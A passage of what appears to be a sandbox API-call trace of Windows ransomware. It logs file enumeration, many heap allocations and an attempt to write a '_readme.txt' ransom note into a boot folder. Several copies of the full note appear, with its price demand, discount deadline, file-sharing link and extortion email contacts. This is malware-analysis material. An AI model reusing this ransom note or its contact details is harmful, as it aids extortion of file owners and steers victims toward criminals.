(pszPath="C:\\Boot\\") returned="Boot\\" [0111.517] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.517] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.517] PathFindFileNameW (pszPath="") returned="" [0111.517] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.517] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.517] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.517] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.517] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.517] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.517] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.517] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0111.517] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.517] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.517] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0111.517] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.517] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.518] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.518] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.518] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.518] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.518] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.518] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.518] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.518] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.518] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.518] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.518] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.518] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.518] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.518] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.519] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.519] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.520] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.520] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.521] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.521] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.522] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.522] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.523] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.523] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) 